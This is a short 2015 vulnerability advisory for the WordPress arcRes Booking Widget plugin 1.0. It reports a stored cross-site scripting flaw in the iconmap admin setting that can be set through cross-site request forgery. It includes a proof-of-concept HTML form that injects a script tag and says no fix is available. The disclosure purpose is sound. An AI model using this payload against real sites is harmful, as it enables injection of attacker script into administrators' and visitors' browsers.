WordPress arcResBookingWidget 1.0 Cross Site Scripting
Posted on 04 August 2015
Title: WordPress 'arcResBookingWidget' Plugin Version: 1.0 Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej Date: 2015-06-16 Download: - https://wordpress.org/plugins/arcres-booking-engine/ - https://plugins.svn.wordpress.org/arcres-booking-engine/ Notified Vendor/WordPress: 2015-06-21 ========================================================== ## Plugin description ========================================================== Embeds the arcRes Booking Widget on a travel supplier website and ensures it is displayed for all arcRes-driven referrals. ## XSS/CSRF vulnerability ========================================================== The iconmap admin setting is vulnerable to stored XSS and can be set using CSRF. PoC: Login as admin and submit the following form <form method="POST" action="[URL]/wp-admin/options-general.php?page=arcRes-BookingWidget-options"> <input type="text" name="formAction" value="Y"><br /> <input type="text" name="arcRes_BookingWidget_option_iconmap" value='100000"><script>alert(1)</script>'><br /> <input type="text" name="arcRes_BookingWidget_option_layout" value="vertical"><br /> <input type="text" name="arcRes_BookingWidget_option_arcResReferralOnly" value="0"><br /> <input type="text" name="arcRes_BookingWidget_option_cookieType" value="permanent"><br /> <input type="text" name="Submit" value="Save Options"><br /> <input type="submit"> </form> ## Solution ========================================================== No fix available ========================================================== XSS vulnerability found using Eir; an early stage static vulnerability scanner for PHP applications.
